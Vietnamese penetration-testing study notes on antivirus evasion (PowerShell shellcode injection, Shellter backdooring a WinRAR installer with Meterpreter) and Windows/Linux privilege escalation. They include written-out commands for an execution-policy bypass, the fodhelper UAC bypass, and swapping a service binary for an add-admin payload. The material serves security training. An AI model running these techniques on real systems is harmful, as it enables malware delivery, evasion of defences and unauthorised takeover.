Mục đích: Tài liệu này cung cấp cái nhìn tổng quan về các kỹ thuật né tránh phần mềm chống vi-rút (AV), bao gồm các phương pháp phát hiện được sử dụng bởi phần mềm AV, các chiến lược né tránh trên đĩa và trong bộ nhớ, cũng như các ví dụ thực tế sử dụng PowerShell và Shellter.

1. Giới thiệu về Phần mềm chống vi-rút và Né tránh (17.1)

  • Mục đích: Phần mềm chống vi-rút (AV) được thiết kế để “ngăn chặn, phát hiện và loại bỏ phần mềm độc hại.” Ban đầu, nó chỉ tập trung vào vi-rút máy tính, nhưng hiện nay đã mở rộng để bao gồm các biện pháp bảo vệ bổ sung như tường lửa và trình quét trang web.
  • Tầm quan trọng của né tránh AV đối với kiểm thử thâm nhập: Những kẻ tấn công thường vô hiệu hóa hoặc bỏ qua phần mềm AV. Người kiểm tra thâm nhập phải “hiểu và có thể bắt chước các kỹ thuật này để chứng minh mối đe dọa tiềm tàng này.”

2. Các phương pháp phát hiện mã độc (17.2)

Các nhà cung cấp AV sử dụng một số kỹ thuật để xác định phần mềm độc hại:

  • Phát hiện dựa trên chữ ký (17.2.1):
  • Khái niệm: Một “chữ ký chống vi-rút là một chuỗi byte liên tục bên trong phần mềm độc hại nhận dạng duy nhất nó.” Đây là một công nghệ danh sách đen, trong đó các tệp được quét để tìm các chữ ký phần mềm độc hại đã biết. Nếu phát hiện thấy, các tệp vi phạm sẽ bị cách ly.
  • Hạn chế: Phát hiện dựa trên chữ ký “có thể dễ dàng bị vượt qua” bằng cách thay đổi hoặc xáo trộn nội dung của một tệp độc hại đã biết để phá vỡ chuỗi byte nhận dạng.
  • Thử và sai: Việc phát triển một giải pháp né tránh AV toàn diện là khó khăn do các chữ ký và công nghệ độc quyền khác nhau của các nhà cung cấp, cùng với các bản cập nhật liên tục. Do đó, quá trình này thường dựa trên “cách tiếp cận thử và sai trong môi trường thử nghiệm.”
  • Khuyến nghị: Trong quá trình kiểm tra thâm nhập, cần xác định “sự hiện diện, loại và phiên bản của phần mềm chống vi-rút đã triển khai trước khi xem xét chiến lược bỏ qua.”
  • Phát hiện dựa trên kinh nghiệm và hành vi (17.2.2):
  • Phát hiện dựa trên kinh nghiệm: Sử dụng các quy tắc và thuật toán để xác định các hành động độc hại bằng cách phân tích kịch bản của tệp nhị phân hoặc dịch ngược mã nguồn để tìm kiếm các mẫu và lệnh gọi chương trình độc hại.
  • Phát hiện dựa trên hành vi: Phân tích động hành vi của một tệp nhị phân bằng cách thực thi nó trong một môi trường giả lập (ví dụ: máy ảo nhỏ) và tìm kiếm các hành vi hoặc hành động độc hại.
  • Ưu điểm: Các kỹ thuật này “có thể được sử dụng để xác định phần mềm độc hại không xác định hoặc các biến thể của phần mềm độc hại đã biết, hiệu quả hơn” vì chúng không yêu cầu chữ ký phần mềm độc hại.
  • Kết hợp các phương pháp: “Phần lớn các nhà phát triển chống vi-rút sử dụng kết hợp các phương pháp phát hiện này để đạt được tỷ lệ phát hiện cao hơn.”

3. Né tránh phát hiện phần mềm chống vi-rút (17.3)

Né tránh AV được chia thành hai loại chính: trên đĩa và trong bộ nhớ. Phần mềm độc hại hiện đại thường cố gắng hoạt động trong bộ nhớ để giảm khả năng bị phát hiện.

  • Né tránh trên đĩa (17.3.1): Tập trung vào việc sửa đổi các tệp độc hại được lưu trữ vật lý trên đĩa.
  • Packers (Trình đóng gói) (17.3.1.1): Ban đầu được thiết kế để giảm kích thước tệp thực thi. Chúng tạo ra một tệp thực thi nhỏ hơn và có chức năng tương đương với một cấu trúc nhị phân hoàn toàn mới, dẫn đến một chữ ký mới có thể bỏ qua các máy quét AV cũ hơn. “Chỉ riêng việc sử dụng UPX và các trình đóng gói phổ biến khác là không đủ để tránh các máy quét AV hiện đại.”
  • Obfuscators (Trình làm xáo trộn) (17.3.1.2): Sắp xếp lại và thay đổi mã để gây khó khăn cho việc thiết kế ngược (ví dụ: thay thế hướng dẫn, chèn mã chết, tách/sắp xếp lại hàm). Nó có hiệu quả nhỏ trong việc né tránh phát hiện AV dựa trên chữ ký.
  • Crypters (Trình mã hóa) (17.3.1.3): Thay đổi mã thực thi bằng mật mã, thêm một đoạn mã giải mã để khôi phục mã gốc khi thực thi. Quá trình giải mã này diễn ra trong bộ nhớ, chỉ để lại mã được mã hóa trên đĩa. Đây là “một trong những kỹ thuật né tránh AV hiệu quả nhất.”
  • Software Protectors (Trình bảo vệ phần mềm) (17.3.1.4): Kết hợp các kỹ thuật né tránh trước đó với các kỹ thuật nâng cao khác (ví dụ: chống đảo ngược, chống gỡ lỗi, phát hiện giả lập máy ảo). Mặc dù được thiết kế cho mục đích hợp pháp, chúng cũng có thể được sử dụng để bỏ qua phát hiện AV. Các công cụ như The Enigma Protector có thể thành công trong việc vượt qua các sản phẩm AV.
  • Né tránh trong bộ nhớ (17.3.2): Còn được gọi là PE Injection, tập trung vào thao tác bộ nhớ dễ bay hơi thay vì ghi tệp vào đĩa.
  • Ưu điểm chính: “Nó không ghi bất kỳ tệp nào vào đĩa, đây là một trong những lĩnh vực trọng tâm chính của hầu hết các sản phẩm chống vi-rút.”
  • Remote Process Memory Injection (Chèn bộ nhớ tiến trình từ xa) (17.3.2.1): Chèn tải trọng vào một PE hợp lệ không độc hại khác bằng cách sử dụng các API Windows (ví dụ: OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread).
  • Reflective DLL Injection (Chèn DLL phản chiếu) (17.3.2.2): Tải một DLL được lưu trữ bởi kẻ tấn công trong bộ nhớ tiến trình, không giống như chèn DLL thông thường tải từ đĩa. Kẻ tấn công phải viết phiên bản API của riêng họ vì LoadLibrary không hỗ trợ tải DLL từ bộ nhớ.
  • Process Hollowing (Rỗng tiến trình) (17.3.2.3): Khởi chạy một tiến trình không nguy hiểm ở trạng thái bị treo, sau đó xóa hình ảnh tiến trình khỏi bộ nhớ và thay thế bằng hình ảnh thực thi độc hại. Tiến trình được tiếp tục, thực thi mã độc hại.
  • Inline Hooking (Móc nội tuyến) (17.3.2.4): Sửa đổi bộ nhớ và chèn một hook vào một hàm để chuyển hướng luồng thực thi sang mã độc hại. Sau khi thực thi mã độc hại, tiến trình quay trở lại hàm đã sửa đổi.

4. Ví dụ thực tế về Né tránh AV (17.3.3)

  • Mục tiêu: Nhắm mục tiêu sản phẩm AV cụ thể được triển khai trong mạng khách hàng hiệu quả hơn là tìm kiếm một giải pháp né tránh AV phổ biến.
  • Thử nghiệm ban đầu với Avira: Một tải trọng Meterpreter tiêu chuẩn (binary.exe) được tạo bằng msfvenom đã bị nhiều sản phẩm AV (theo VirusTotal) và Avira Free Antivirus phát hiện và cách ly ngay lập tức.
  • PowerShell In-Memory Injection (17.3.3.1):
  • Kỹ thuật: Sử dụng PowerShell để tương tác với Windows API (ví dụ: VirtualAlloc, CreateThread, memset) để cấp phát bộ nhớ, ghi tải trọng vào đó và thực thi nó trong một luồng riêng biệt trong tiến trình PowerShell hiện tại.
  • Ưu điểm: Khó hơn cho các nhà sản xuất AV để xác định mã độc hại “khi nó chạy bên trong một trình thông dịch và bản thân tập lệnh không phải là mã thực thi.” Các tập lệnh độc hại cũng có thể “dễ dàng bị thay đổi” (ví dụ: tên biến, nhận xét, logic) mà không cần biên dịch lại.
  • Kết quả: Sau khi tạo tải trọng PowerShell Meterpreter bằng msfvenom và chèn nó vào tập lệnh PowerShell, chỉ có 2 trong số 59 sản phẩm AV phát hiện tập lệnh trên VirusTotal. Avira cũng không phát hiện nó.
  • Thử thách chính sách thực thi: Hệ thống có thể ngăn chạy tập lệnh PowerShell do “Chính sách thực thi” (Execution Policies). Có thể thay đổi chính sách này cho người dùng hiện tại (ví dụ: Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser) hoặc bỏ qua nó trên cơ sở từng tập lệnh (-ExecutionPolicy Bypass).
  • Thành công: Sau khi điều chỉnh chính sách thực thi và khởi động trình xử lý Meterpreter trên máy Kali, việc chạy tập lệnh PowerShell đã dẫn đến việc thiết lập phiên Meterpreter thành công, chứng tỏ né tránh Avira.
  • Lưu ý: Các hệ thống AV tiên tiến hơn sử dụng học máy có thể yêu cầu thay đổi hoặc điều chỉnh thêm các tập lệnh này.
  • Shellter (17.3.3.3):
  • Mô tả: Shellter là một “công cụ tiêm shellcode động và là một trong những công cụ miễn phí phổ biến nhất có khả năng vượt qua phần mềm chống vi-rút.” Nó tạo backdoor một tệp thực thi hợp lệ và không độc hại bằng tải trọng shellcode độc hại.
  • Cách hoạt động: Nó phân tích kỹ lưỡng tệp PE mục tiêu và các đường dẫn thực thi, xác định nơi chèn shellcode mà không dựa vào các kỹ thuật tiêm truyền thống (thay đổi quyền của phần tệp, tạo phần mới). Shellter cố gắng sử dụng các Bảng địa chỉ nhập (IAT) PE hiện có để định vị các hàm để cấp phát bộ nhớ, truyền và thực thi tải trọng.
  • Thực hành:Shellter được cài đặt trên Kali Linux cùng với Wine để chạy các ứng dụng Windows.
  • Chạy ở chế độ Tự động, sử dụng trình cài đặt WinRAR 32-bit làm PE mục tiêu. Shellter tạo một bản sao lưu và cho phép bật “Chế độ ẩn” để khôi phục luồng thực thi của PE sau khi tải trọng được thực thi.
  • Tải trọng Meterpreter reverse_tcp được chọn và các tùy chọn được định cấu hình.
  • Shellter tiêm tải trọng vào trình cài đặt WinRAR.
  • Kết quả: Quét tệp kết quả bằng Avira không phát hiện mã độc hại vì “Shellter làm xáo trộn cả tải trọng cũng như bộ giải mã tải trọng trước khi đưa chúng vào PE.”
  • Thử thách: Khi thực thi, phiên Meterpreter ban đầu “chết” sau khi tiến trình cài đặt WinRAR hoàn tất.
  • Giải pháp: Bằng cách đặt AutoRunScript post/windows/manage/migrate trong trình xử lý Metasploit, phiên Meterpreter được di chuyển sang một tiến trình riêng biệt (ví dụ: notepad.exe), đảm bảo nó vẫn hoạt động ngay cả khi tiến trình cài đặt gốc kết thúc.

5. Kết luận (17.4)

  • Tài liệu này đã thảo luận về mục đích của AV, các phương pháp phát hiện phổ biến và các phương pháp né tránh AV khác nhau liên quan đến các kỹ thuật chèn shellcode vào bộ nhớ.
  • Các phương pháp né tránh thành công đã được chứng minh bằng cách sử dụng Shellter và PowerShell để bỏ qua Avira.
  • Tuy nhiên, né tránh AV là một chủ đề rộng lớn, phức tạp và cần nỗ lực đáng kể để né tránh các biện pháp phòng thủ hiện đại.

18. Privilege Escalation

  • Mục tiêu: Leo thang đặc quyền.
  • Nội dung: Windows PrivEsc, Linux PrivEsc, kernel exploit.
  • Ứng dụng: Từ user thường thành root/system.

Leo thang Đặc quyền

1. Giới thiệu về Leo thang Đặc quyền

Trong quá trình kiểm thử xâm nhập, việc giành được quyền truy cập ban đầu vào một hệ thống với tư cách là người dùng tiêu chuẩn hoặc không có đặc quyền là điều phổ biến. Leo thang đặc quyền (Privilege escalation) là quá trình tiếp cận để giành thêm quyền truy cập, một kỹ năng cần thiết vì việc truy cập “trực tiếp đến root” rất hiếm trong môi trường hiện đại.

Các cách tiếp cận chung để leo thang đặc quyền bao gồm tìm kiếm:

  • Các dịch vụ được cấu hình sai.
  • Hạn chế quyền tệp không đủ đối với tệp nhị phân hoặc dịch vụ.
  • Lỗ hổng kernel trực tiếp.
  • Phần mềm dễ bị tấn công chạy với đặc quyền cao.
  • Thông tin nhạy cảm được lưu trữ trên tệp cục bộ.
  • Cài đặt registry luôn nâng cao đặc quyền trước khi thực hiện nhị phân.
  • Cài đặt script có thể chứa thông tin đăng nhập được mã hóa cứng.

2. Thu thập Thông tin (Information Gathering)

Sau khi có quyền truy cập ban đầu, bước đầu tiên là thu thập càng nhiều thông tin về mục tiêu càng tốt để hiểu rõ bản chất của hệ thống và khám phá các con đường khả thi để leo thang đặc quyền. Phần này bao gồm cả kỹ thuật thu thập và liệt kê thông tin thủ công và tự động.

2.1. Liệt kê Thủ công (Manual Enumeration)

Mặc dù tốn thời gian, cách tiếp cận thủ công cho phép kiểm soát nhiều hơn và có thể giúp xác định các phương pháp leo thang đặc quyền độc đáo mà các công cụ tự động thường bỏ qua.

2.1.1. Liệt kê Người dùng (Enumerating Users)

Xác định ngữ cảnh người dùng hiện tại và các tài khoản người dùng khác trên hệ thống.

  • Windows:whoami: Hiển thị tên người dùng hiện tại. Ví dụ: client251\student.
  • net user <tên_người_dùng>: Thu thập thêm thông tin về một người dùng cụ thể, bao gồm các nhóm mà người dùng đó thuộc về.
  • net user: Liệt kê tất cả tài khoản người dùng trên hệ thống, có thể tiết lộ các tài khoản có đặc quyền cao tiềm năng như admin.
  • Linux:id: Hiển thị ID người dùng (UID) và ID nhóm (GID) của người dùng hiện tại.
  • cat /etc/passwd: Liệt kê tất cả tài khoản người dùng trên hệ thống, bao gồm cả các tài khoản dịch vụ (ví dụ: www-data, cho thấy một máy chủ web có thể đã được cài đặt).

2.1.2. Liệt kê Tên máy chủ (Enumerating the Hostname)

Tên máy chủ có thể cung cấp manh mối về vai trò chức năng của máy (ví dụ: web, db, dc).

  • Windows & Linux: hostnameVí dụ Windows: client251 (có thể chỉ ra quy ước đặt tên mạng).
  • Ví dụ Linux: debian (cung cấp thông tin về hệ điều hành).

2.1.3. Liệt kê Phiên bản và Kiến trúc Hệ điều hành (Enumerating the Operating System Version and Architecture)

Quan trọng cho việc khai thác kernel, vì các khai thác được xây dựng cho một loại mục tiêu rất cụ thể. Khai thác sai có thể dẫn đến sự mất ổn định hệ thống.

  • Windows: systeminfo | findstr /B /C:”OS Name” /C:”OS Version” /C:”System Type”Ví dụ: OS Name: Microsoft Windows 10 Pro, OS Version: 10.0.16299 N/A Build 16299, System Type: X86-based PC.
  • Linux:cat /etc/issue: Hiển thị thông tin chung về hệ điều hành (ví dụ: Debian GNU/Linux 9).
  • cat /etc/*-release: Cung cấp thông tin chi tiết về phiên bản bản phân phối.
  • uname -a: Xuất ra phiên bản kernel và kiến trúc (ví dụ: Linux debian 4.9.0-6-686 … i686 GNU/Linux).

2.1.4. Liệt kê Các tiến trình và Dịch vụ đang chạy (Enumerating Running Processes and Services)

Tìm kiếm các tiến trình chạy trong ngữ cảnh của tài khoản đặc quyền với các quyền không an toàn.

  • Windows:tasklist /SVC: Liệt kê các tiến trình đang chạy và các dịch vụ Windows tương ứng. Ví dụ: mysqld.exe cho thấy dịch vụ MySQL đang chạy.
  • Lưu ý: Đầu ra này không liệt kê các tiến trình do người dùng đặc quyền điều hành mà không có đặc quyền cao.
  • Linux:ps axu: Liệt kê tất cả các tiến trình (bao gồm cả những tiến trình do root chạy) ở định dạng dễ đọc.

2.1.5. Liệt kê Thông tin Mạng (Enumerating Networking Information)

Kiểm tra các giao diện mạng, tuyến đường và cổng mở để hiểu cấu trúc mạng của mục tiêu và khả năng pivot.

  • Windows:ipconfig /all: Hiển thị cấu hình TCP/IP đầy đủ của tất cả các bộ điều hợp. Có thể tiết lộ nhiều giao diện mạng.
  • route print: Hiển thị bảng định tuyến mạng.
  • netstat -ano: Liệt kê tất cả các kết nối TCP đang hoạt động và cổng nghe, bao gồm PID sở hữu.
  • Linux:ip a hoặc ifconfig -a: Liệt kê cấu hình TCP/IP của tất cả các bộ điều hợp mạng.
  • /sbin/route hoặc routel: Hiển thị bảng định tuyến mạng.
  • ss -anp hoặc netstat -anp: Hiển thị các kết nối mạng đang hoạt động và cổng nghe cùng với tên tiến trình.

2.1.6. Liệt kê Trạng thái và Quy tắc Tường lửa (Enumerating Firewall Status and Rules)

Thông tin tường lửa có thể hữu ích cho việc truy cập cục bộ các dịch vụ bị chặn từ xa hoặc để tạo điều kiện chuyển tiếp cổng/đường hầm.

  • Windows:netsh advfirewall show currentprofile: Kiểm tra cấu hình tường lửa hiện tại.
  • netsh advfirewall firewall show rule name=all: Liệt kê tất cả các quy tắc tường lửa.
  • Linux:Yêu cầu đặc quyền root để liệt kê quy tắc tường lửa với iptables.
  • Có thể đọc các tệp cấu hình tường lửa nếu chúng có quyền yếu (ví dụ: /etc/iptables).
  • Tìm kiếm các tệp được tạo bởi iptables-save.

2.1.7. Liệt kê Các tác vụ theo lịch (Enumerating Scheduled Tasks)

Các tác vụ tự động, theo lịch có thể bị cấu hình sai hoặc các tệp do người dùng tạo có quyền không an toàn, cho phép kẻ tấn công sửa đổi để thực thi với đặc quyền cao.

  • Windows:schtasks /query /fo LIST /v: Hiển thị các tác vụ theo lịch, bao gồm tác vụ cần chạy, thời gian chạy tiếp theo, lần chạy cuối cùng và tần suất.
  • Linux (Cron):ls -lah /etc/cron*: Liệt kê các tác vụ cron đã cài đặt trong các thư mục /etc/cron.* (ví dụ: /etc/cron.daily).
  • cat /etc/crontab: Kiểm tra các tác vụ theo lịch của quản trị viên hệ thống, thường chạy dưới dạng root. Ví dụ: /var/scripts/user_backups.sh chạy dưới dạng root.

2.1.8. Liệt kê Các ứng dụng đã cài đặt và Mức vá lỗi (Enumerating Installed Applications and Patch Levels)

Tìm kiếm các lỗ hổng khai thác cục bộ liên quan đến các ứng dụng hoặc kernel.

  • Windows:wmic product get name, version, vendor: Liệt kê các ứng dụng được cài đặt bởi Windows Installer (không phải tất cả các ứng dụng).
  • wmic qfe get Caption, Description, HotFixID, InstalledOn: Liệt kê các bản cập nhật bảo mật trên toàn hệ thống. Thông tin này có thể cho thấy hệ thống chưa được cập nhật gần đây.
  • Linux:dpkg -l (trên Debian): Liệt kê tất cả các gói đã cài đặt. Ví dụ: apache2 đã cài đặt xác nhận máy chủ web.
  • rpm -qa (trên Red Hat): Liệt kê các gói đã cài đặt.

2.1.9. Liệt kê Các tệp và Thư mục có thể đọc/ghi (Enumerating Readable/Writable Files and Directories)

Tìm kiếm các tệp có quyền truy cập yếu có thể cấp đặc quyền nâng cao hoặc chứa thông tin nhạy cảm (thông tin đăng nhập được mã hóa cứng).

  • Windows:AccessChk.exe -uws “Everyone” “C:\Program Files” (SysInternals): Liệt kê các tệp hoặc thư mục cho phép nhóm Everyone có quyền ghi.
  • Get-ChildItem “C:\Program Files” -Recurse | Get-ACL | ?{$_.AccessToString -match “Everyone\sAllow\s\sModify”} (PowerShell): Tương tự như AccessChk, tìm các đối tượng có thể được sửa đổi bởi Everyone.
  • Linux:find / -writable -type d 2>/dev/null: Liệt kê các thư mục có thể ghi được bởi người dùng hiện tại. Ví dụ: /usr/local/james/bin.

2.1.10. Liệt kê Các đĩa chưa gắn kết (Enumerating Unmounted Disks)

Các đĩa chưa gắn kết có thể chứa thông tin có giá trị.

  • Windows:mountvol: Liệt kê tất cả các ổ đĩa hiện đang được gắn kết và những ổ đĩa được kết nối vật lý nhưng chưa được gắn kết. Có thể tiết lộ các ổ đĩa không có điểm gắn kết.
  • Linux:cat /etc/fstab: Liệt kê tất cả các ổ đĩa sẽ được gắn vào lúc khởi động.
  • mount: Liệt kê tất cả các hệ thống tệp được gắn kết.
  • /bin/lsblk: Hiển thị tất cả các đĩa có sẵn và các phân vùng. Có thể tiết lộ các phân vùng chưa được gắn kết.

2.1.11. Liệt kê Trình điều khiển thiết bị và Mô-đun Kernel (Enumerating Device Drivers and Kernel Modules)

Leo thang đặc quyền phổ biến liên quan đến việc khai thác trình điều khiển thiết bị và mô-đun kernel.

  • Windows:driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Display Name’, ‘Start Mode’, Path: Liệt kê các trình điều khiển đã tải.
  • Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like “*VMware*”} (PowerShell): Lấy thông tin phiên bản của trình điều khiển cụ thể.
  • Linux:lsmod: Liệt kê các mô-đun kernel đã tải.
  • /sbin/modinfo <tên_mô_đun>: Hiển thị thông tin chi tiết về một mô-đun cụ thể.

2.1.12. Liệt kê Các tệp nhị phân tự động nâng cao đặc quyền (Enumerating Binaries That AutoElevate)

Tìm kiếm các “lối tắt” dành riêng cho hệ điều hành để leo thang đặc quyền.

  • Windows:Kiểm tra cài đặt registry AlwaysInstallElevated trong HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer và HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer. Nếu được đặt thành 0x1, bất kỳ người dùng nào cũng có thể chạy các gói Windows Installer với đặc quyền nâng cao.
  • reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
  • reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
  • Linux (SUID files):find / -perm -u=s -type f 2>/dev/null: Tìm kiếm các tệp SUID. Các tệp nhị phân có bit SUID sẽ chạy với quyền của chủ sở hữu tệp. Nếu thuộc sở hữu của root, bất kỳ người dùng cục bộ nào cũng có thể thực thi chúng với đặc quyền nâng cao. Ví dụ: /usr/bin/passwd, /usr/bin/sudo.

2.2. Liệt kê Tự động (Automated Enumeration)

Để tiết kiệm thời gian, các script có thể tự động hóa quá trình thu thập thông tin.

  • Windows:windows-privesc-check (Github: pentestmonkey/windows-privesc-check): Một script tự động hóa việc kiểm tra các lỗ hổng leo thang đặc quyền.
  • windows-privesc-check2.exe –dump -G: Liệt kê thông tin về các nhóm người dùng trên hệ thống.
  • Linux:unix_privesc_check (http://pentestmonkey.net/tools/unix-privesc-check): Hỗ trợ chế độ “standard” (kiểm tra nhanh, tối ưu hóa tốc độ) và “detailed” (kiểm tra toàn diện hơn, có thể có dương tính giả).
  • ./unix-privesc-check standard > output.txt: Xuất kết quả kiểm tra tiêu chuẩn vào một tệp.
  • Ví dụ: script này có thể tiết lộ /etc/passwd có quyền ghi cho mọi người dùng, cho phép kẻ tấn công dễ dàng tạo hoặc sửa đổi tài khoản siêu người dùng.

3. Các ví dụ về Leo thang Đặc quyền trên Windows

3.1. Hiểu về Đặc quyền và Mức độ Toàn vẹn của Windows

  • Đặc quyền (Privileges): Quyền của một tài khoản cụ thể để thực hiện các hoạt động cục bộ liên quan đến hệ thống (ví dụ: sửa đổi hệ thống tệp, thêm người dùng).
  • Mã thông báo truy cập (Access tokens): Được Windows tạo khi người dùng được xác thực, chứa thông tin về ngữ cảnh bảo mật của người dùng, bao gồm các đặc quyền.
  • Số nhận dạng bảo mật (Security identifier – SID): Giá trị duy nhất được gán cho mỗi đối tượng (bao gồm mã thông báo), chẳng hạn như tài khoản người dùng hoặc nhóm. Được tạo bởi Windows Local Security Authority.
  • Cơ chế toàn vẹn (Integrity mechanism): Gán các mức độ toàn vẹn cho các tiến trình ứng dụng và đối tượng bảo mật, mô tả mức độ tin cậy của hệ điều hành. Quyết định các hành động mà ứng dụng có thể thực hiện.
  • Bốn cấp độ toàn vẹn (từ Windows Vista trở đi):System integrity process: Quyền SYSTEM.
  • High integrity process: Quyền quản trị.
  • Medium integrity process: Quyền người dùng tiêu chuẩn.
  • Low integrity process: Quyền rất hạn chế, thường dùng trong các tiến trình sandbox.

3.2. Giới thiệu về Kiểm soát Tài khoản Người dùng (User Account Control – UAC)

  • UAC: Hệ thống kiểm soát truy cập của Microsoft, buộc các ứng dụng và tác vụ chạy trong ngữ cảnh của tài khoản không phải quản trị viên cho đến khi được cho phép truy cập nâng cao. Microsoft không coi UAC là ranh giới bảo mật.
  • Mục đích: Chặn trình cài đặt và các ứng dụng trái phép chạy mà không có quyền quản trị, đồng thời chặn các thay đổi đối với cài đặt hệ thống. Ngăn chặn các hoạt động có tác động trên toàn hệ thống diễn ra một cách âm thầm.
  • Hai chế độ UAC:Lời nhắc thông tin xác thực: Dành cho người dùng tiêu chuẩn khi cố gắng thực hiện tác vụ quản trị, yêu cầu thông tin xác thực của quản trị viên.
  • Lời nhắc đồng ý: Dành cho người dùng quản trị khi cố gắng thực hiện tác vụ quản trị, chỉ cần xác nhận.
  • Mã thông báo bảo mật kép: Ngay cả khi đăng nhập với tư cách người dùng quản trị, tài khoản sẽ có hai mã thông báo bảo mật: một chạy ở mức toàn vẹn trung bình và một ở mức toàn vẹn cao. UAC hoạt động như một cơ chế phân tách giữa hai mức độ này.
  • whoami /groups có thể được sử dụng để kiểm tra mức độ toàn vẹn hiện tại (Medium Mandatory Level hoặc High Mandatory Level).
  • Để thực hiện các hành động đặc quyền (ví dụ: thay đổi mật khẩu quản trị), người dùng quản trị cần nâng cấp lên cấp độ toàn vẹn cao. Ví dụ: powershell.exe Start-Process cmd.exe -Verb runAs.

3.3. Vượt qua UAC: Nghiên cứu điển hình fodhelper.exe

  • Kỹ thuật: Lợi dụng fodhelper.exe trên Windows 10 build 1709, một ứng dụng của Microsoft để quản lý thay đổi ngôn ngữ. fodhelper.exe chạy với tính toàn vẹn cao và cờ autoElevate được đặt thành true, cho phép nó tự động nâng cấp mà không cần người dùng quản trị viên đồng ý.
  • Lỗ hổng: fodhelper tương tác với các khóa registry có thể được sửa đổi mà không cần đặc quyền quản trị.
  1. Quá trình khai thác:Kiểm tra fodhelper.exe bằng sigcheck.exe -a -m để xem application manifest, xác nhận requestedExecutionLevel=”requireAdministrator” và autoElevate=”true”.
  2. Sử dụng Process Monitor (procmon.exe) để theo dõi các hoạt động registry của fodhelper.exe, lọc theo NAME NOT FOUND trong tổ HKEY_CURRENT_USER (HKCU).
  3. Phát hiện fodhelper.exe cố gắng truy vấn khóa HKCU:\Software\Classes\ms-settings\shell\open\command, khóa này không tồn tại.
  4. Tạo khóa registry này: REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command.
  5. Thêm mục nhập DelegateExecute trống vào khóa mới: REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ.
  6. Đặt giá trị mặc định của khóa thành tệp thực thi độc hại (ví dụ: cmd.exe): REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d “cmd.exe” /f.
  7. Chạy lại fodhelper.exe để sinh ra một cmd.exe với tính toàn vẹn cao, cho phép thực hiện các hành động quản trị (ví dụ: thay đổi mật khẩu).
  • Kết luận: Cuộc tấn công này cho thấy cách bỏ qua UAC và quy trình để phát hiện các lỗ hổng tương tự.

3.4. Quyền tệp không an toàn: Nghiên cứu điển hình Serviio

  • Kỹ thuật: Khai thác quyền tệp không an toàn trên các dịch vụ chạy với tư cách NT AUTHORITY\SYSTEM.
  • Lỗ hổng: Một dịch vụ do bên thứ ba cài đặt (ví dụ: ServiioService.exe) có thể có quyền đọc và ghi đầy đủ cho nhóm BUILTIN\Users.
  1. Quá trình khai thác:Liệt kê các dịch vụ đang chạy bằng PowerShell: Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like ‘Running’}.
  2. Xác định dịch vụ Serviio (ServiioService.exe) được cài đặt trong Program Files.
  3. Kiểm tra quyền của dịch vụ bằng icacls “C:\Program Files\Serviio\bin\ServiioService.exe”. Phát hiện BUILTIN\Users:(I)(F) (quyền truy cập đầy đủ).
  4. Biên dịch một tệp nhị phân độc hại (ví dụ: adduser.c để tạo người dùng “evil” và thêm vào nhóm Administrators) trên máy Kali (i686-w64-mingw32-gcc adduser.c -o adduser.exe).
  5. Thay thế tệp ServiioService.exe gốc bằng tệp nhị phân độc hại.
  6. Kiểm tra StartMode của dịch vụ Serviio bằng wmic service where caption=”Serviio” get name, caption, state, startmode, nếu là Auto, dịch vụ sẽ khởi động lại khi reboot.
  7. Kiểm tra quyền SeShutdownPrivilege bằng whoami /priv. Nếu có, khởi động lại hệ thống bằng shutdown /r /t 0.
  8. Sau khi khởi động lại, người dùng “evil” sẽ được tạo và là thành viên của nhóm Administrators.

3.5. Lợi dụng các đường dẫn dịch vụ không được trích dẫn (Unquoted Service Paths)

  • Kỹ thuật: Lợi dụng các đường dẫn dịch vụ Windows không được đặt trong dấu ngoặc kép khi có quyền ghi vào thư mục gốc hoặc thư mục con của dịch vụ.
  • Lỗ hổng: Nếu đường dẫn dịch vụ (ví dụ: C:\Program Files\My Program\My Service\service.exe) không được trích dẫn, Windows sẽ cố gắng chạy tệp thực thi từ các đường dẫn được “giải thích” tuần tự (ví dụ: C:\Program.exe, C:\Program Files\My.exe, v.v.) cho đến khi tìm thấy một tệp hợp lệ.
  1. Quá trình khai thác:Tạo một tệp thực thi độc hại.
  2. Đặt nó vào một thư mục được “giải thích” sớm hơn trong đường dẫn (ví dụ: C:\Program.exe nếu có quyền ghi vào thư mục C:).
  3. Đảm bảo tệp độc hại có tên phù hợp với phần được giải thích của đường dẫn (ví dụ: Program.exe).
  4. Khi dịch vụ khởi động, tệp độc hại sẽ được thực thi với các đặc quyền của dịch vụ (thường là NT\SYSTEM).
  • Lưu ý: Thường yêu cầu quyền ghi không chắc chắn vào các thư mục hệ thống, nhưng có thể xảy ra ở thư mục chính hoặc thư mục con của phần mềm nếu chúng bị cấu hình sai.

3.6. Lỗ hổng Kernel của Windows: Nghiên cứu điển hình USBPcap

  • Kỹ thuật: Khai thác các lỗ hổng trình điều khiển kernel để leo thang đặc quyền. Yêu cầu khớp chính xác hệ điều hành, phiên bản và kiến trúc để tránh BSOD.
  1. Quá trình khai thác:Xác định phiên bản và kiến trúc hệ điều hành mục tiêu: systeminfo | findstr /B /C:”OS Name” /C:”OS Version” /C:”System Type”. Ví dụ: Windows 7 Professional SP1 x86.
  2. Liệt kê các trình điều khiển đã cài đặt: driverquery /v. Tìm kiếm trình điều khiển của bên thứ ba (ví dụ: USBPcap).
  3. Sử dụng searchsploit USBPcap trên Kali Linux để tìm các khai thác có sẵn. Phát hiện khai thác USBPcap 1.1.0.0 (WireShark 2.2.5) – Local Privilege Escalation (CVE-2017-6178).
  4. Kiểm tra phiên bản trình điều khiển trên mục tiêu bằng cách xem tệp .inf của trình điều khiển (ví dụ: type “C:\Program Files\USBPcap\USBPcap.inf”), xác nhận DriverVer=10/02/2015,1.1.0.0.
  5. Biên dịch mã C/C++ trên Windows: Sử dụng Mingw-w64 (GCC trên Windows). Chạy mingw-w64.bat để thiết lập môi trường, sau đó biên dịch khai thác: gcc 41542.c -o exploit.exe.
